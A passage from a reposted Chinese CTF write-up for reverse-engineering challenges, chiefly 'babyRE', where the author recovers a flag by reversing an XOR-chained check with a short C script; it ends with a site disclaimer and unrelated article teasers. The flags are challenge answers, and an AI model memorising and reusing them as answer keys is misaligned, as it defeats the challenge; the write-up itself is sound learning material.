    return 0;
}
// flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}

这个flag是对的

果然三分逆向七分猜

flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}

babyRE

打开那个网页

img

进入这个网站

找到锁图案里边的主要函数

img

这个函数把输入的字符串中的每个值与上一个异或然后和secret这个列表进行对比

img img

添加显示变量按钮来获得secret的值然后编写脚本

Exp

#include <stdio.h>
#include <stdint.h>
 
int main() {
    uint8_t secret[] = {102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73,
                       0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30};
    char flag[42] = "f";
 
    for (int i = 1; i < 41; i++) {
        secret[i] = secret[i] ^ secret[i - 1];
        flag[i] = secret[i];
    }
 
    printf("%s}\n", flag);
 
    return 0;
}

运行后得flag

img

Flag:flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/586110.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java中的深拷贝和浅拷贝介绍

文章目录 基本类型和引用类型Clone方法浅拷贝深拷贝小结 在讲解什么是深拷贝和浅拷贝之前&#xff0c;我们先来了解一下什么是基本类型和引用类型。 基本类型和引用类型 基本类型也称为值类型&#xff0c;分别是字符类型 char&#xff0c;布尔类型 boolean以及数值类型 byte、…

Vue3 项目相关

vite 项目起步式 npm create vite - 1.命名项目名称- 2. 选择技术框架- 3. 进入项目文件夹 npm i 安装依赖&#xff0c;- 4. npm run dev 运行项目配置 package.json 文件 &#xff0c;使项目运行后自动再浏览器中打开。 在 dev 运行命令后添加一个 --open 即可。 "script…

微信小程序初识

微信小程序 因(ios&#xff0c;android)多平台彼此间并不互通&#xff0c;所以开发需要两个不同平台的开发团推队&#xff0c;所以微信小程序因此诞生。 小程序的优点 快速加载更强大的能力原生的体验易用且安全的微信数据开放高效和简单的开发 首先 根据自己的情况安装微…

弄懂软件测试左移和右移,靠它就行

软件测试技术应当贯穿整个软件开发生命周期、对软件产品&#xff08;包括阶段性产品&#xff09;进行验证和确认的活动过程&#xff0c;其核心目标是尽快尽早地发现软件产品中所存在的各种问题 bug—— 与用户需求、预先定义的不一致性。 传统的软件测试流程是 接到项目后参与…

cubemx stm32 pca9685pw模块 16路PWM 可用于舵机驱动 驱动代码

资料 淘宝链接请点这里 淘宝资料资料&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1Kda-c7QdZdQ03FBMa0zeRA 提取码&#xff1a;1234 pca9685pw介绍 这个模块是 I2C 通信控制 16 路 PWM 的模块。 所有路的 频率 是统一设置的&#xff0c;所以每一路的频率都一样&a…

java单元测试( Hamcrest 断言)

java单元测试( Hamcrest 断言) 单元测试特征: 1 范围狭窄 2 限于单一类或方法 3 体积小 为什么要编写单元测试&#xff1f; 为了防止错误&#xff08;很明显&#xff01;&#xff09; 而且还可以提高开发人员的生产力&#xff0c;因为单元测试&#xff1a; (1) 帮助实施——在…

网工内推 | 经验不限,国企招网工,IE认证优先,五险一金

01 一九零五&#xff08;北京&#xff09;网络科技有限公司 &#x1f537;招聘岗位&#xff1a;网络工程师 &#x1f537;职责描述&#xff1a; 1、负责公司内部现有网络配置及调优&#xff1b; 2、负责IT机房的网络和安全的日常维护工作&#xff1b; 3、负责IT机房的紧急故…

轻松掌握redis缓存穿透、击穿、雪崩问题及解决方案(20230529版)

1、缓存穿透 所谓缓存穿透就是非法传输了一个在数据库中不存在的条件&#xff0c;导致查询redis和数据库中都没有&#xff0c;并且有大量的请求进来&#xff0c;就会导致对数据库产生压力&#xff0c;解决这一问题的方法如下&#xff1a; 1、使用空缓存解决 对查询到值是空的…

【Python开发】FastAPI 02:请求参数—路径参数、查询参数

进行接口请求时&#xff0c;请求参数是重中之重了&#xff01;请求参数指客户端向服务端发送请求时&#xff0c;需要传递给服务端的参数&#xff0c;包括路径参数、查询参数、请求体等。举个例子&#xff0c;如果客户端想要获取某个用户的信息&#xff0c;可以向服务端发送一个…

PHPMySQL基础(一):创建数据库并通过PHP进行连接

PHP同样可以对数据库进行连接&#xff0c;并且实现增删改查、登录注册等功能&#xff0c;这一篇写一下怎么使用PHP去连接MySQL数据库 目录 一、创建数据库 1.1 登录页面 1.2 创建数据库 1.3 创建数据库表 1.4 添加表字段 1.5 插入数据 1.6 导出和导入 二、PHP连接数据…

华为OD机试真题B卷 Java 实现【报文重排序】,附详细解题思路

一、题目描述 对报文进行重传和重排序是常用的可靠性机制&#xff0c;重传缓冲区内有一定数量的子报文&#xff0c;每个子报文在原始报文中的顺序已知&#xff0c;现在需要恢复出原始报文。 二、输入描述 输入第一行为N&#xff0c;表示子报文的个数&#xff0c;0 < N &l…

SpringBoot 配置文件和日志文件

目录 一、SpringBoot配置文件 配置文件的格式 .properties配置文件格式 .yml配置文件格式 .properties 与 .yml的区别 配置文件的读取 .properties 与 .yml的区别 设置不同环境的配置⽂件 二、SpringBoot日志文件 日志打印的步骤 得到日志对象 方法一&#xff1a;使…

vulnhub靶场之RAGNAR LOTHBROK: 1

1.信息收集 探测存活主机&#xff0c;输入&#xff1a;netdiscover -r 192.168.239.0/24 &#xff0c;发现192.168.239.178存活。 对目标主机192.168.239.178进行端口扫描&#xff0c;发现存活21(ftp)、80、443、3306端口。 浏览器访问http://192.168.239.178&#xff0c;发…

设计模式 - 代理模式

基本介绍: 代理模式&#xff1a;为一个对象提供一个替身&#xff0c;以控制对这个对象的访问。即通过代理 对象访问目标对象.这样做的好处是:可以在目标对象实现的基础上,增强额外的 功能操作,即扩展目标对象的功能。被代理的对象可以是远程对象、创建开销大的对象或需要安全控…

chatgpt赋能python:Python三次方根的用途和计算方法

Python三次方根的用途和计算方法 如果您是一位Python编程工程师&#xff0c;您可能会经常需要用到Python的数学计算功能。在这篇文章中&#xff0c;我们将探讨Python三次方根的概念和使用&#xff0c;以及如何在Python中计算三次方根。 什么是三次方根&#xff1f; 三次方根…

SpringBoot 框架

SpringBoot 框架 SpringBoot 简介SpringBoot 开发步骤SpringBoot工程快速启动SpringBoot概述起步依赖自动装配切换web服务器 配置文件配置文件格式yaml格式yaml配置文件数据读取Value注解读取配置文件Environment对象自定义对象多环境配置 SpringBoot 整合 SpringBoot 简介 Sp…

这个 计数排序详解过程 我能吹一辈子!!!

文章目录 计数排序概念计数排序算法思路计数排序算法过程计数排序代码实现计数排序缺陷 计数排序概念 计数排序是一个非基于比较的排序算法&#xff0c;元素从未排序状态变为已排序状态的过程&#xff0c;是由额外空间的辅助和元素本身的值决定的。该算法于1954年由 Harold H.…

流行框架(一)EventBus(组件通信)、ARouter(页面跳转)

文章目录 EventBus基本使用EventBus三要素五种线程模式使用步骤EventBus黏性事件&#xff08;sticky event&#xff09; 工作原理中介者模式源码解读Event Bus中介者对象register() / 注册发布事件 / post Arouter组件化开发组件化开发的优点组件分层方案组件化的gradle工程 AR…

C919商业首航 背后功臣风洞实验室有多牛

5月28日&#xff0c;国产大型客机C919&#xff0c;顺利完成商业首航。 首航背后意味着该机型从研发、制造、取证到投运全面贯通&#xff0c;广大旅客终于有机会坐国产大飞机出行了。 很多人不知道C919其实是依托我国独立自主设计制造的世界级风洞群和风洞实验室反复测试“百炼…

Linux部署jumpserver堡垒机及问题汇总

部署过程相对复杂&#xff01;请耐心浏览&#xff01; 目录 一、jumpserver堡垒机简介 1.1 为什么需要使用堡垒机? 1.2 堡垒机主要功能 二、准备工作 2.1 关闭防火墙以及SElinux 1.2 时间同步 1.3 更改主机名 1.4 yum源备份及准备 1.5 安装初始工具 1.6 修改系统字…